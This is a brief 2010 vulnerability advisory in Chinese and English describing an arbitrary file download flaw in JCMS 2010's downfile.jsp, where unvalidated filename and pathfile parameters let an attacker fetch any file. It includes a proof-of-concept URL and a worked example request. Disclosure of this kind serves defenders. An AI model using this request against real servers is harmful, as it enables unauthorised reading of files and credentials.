JCMS 2010 任意文件下载漏洞

发布日期：2010-11.23
发布作者：Beach

影响版本：V2010
官方地址：http://www.hanweb.com/

漏洞类型：文件下载
漏洞描述：JCMS 2010 downfile.jsp下载存在漏洞，可构造下载任意文件。

Description:

In /module/download/downfile.jsp ,filename and pathfile didn't verify user's input

So this vulnerability allows an attacker to download any files .

[*]POC:

http://server/module/download/downfile.jsp?filename=[file_name]&pathfile=[Path/Path/file_name]

[*]I.E:

http://server/module/download/downfile.jsp?filename=downfile.jsp&pathfile=module/download/downfile.jsp
 

标签分类： 文件下载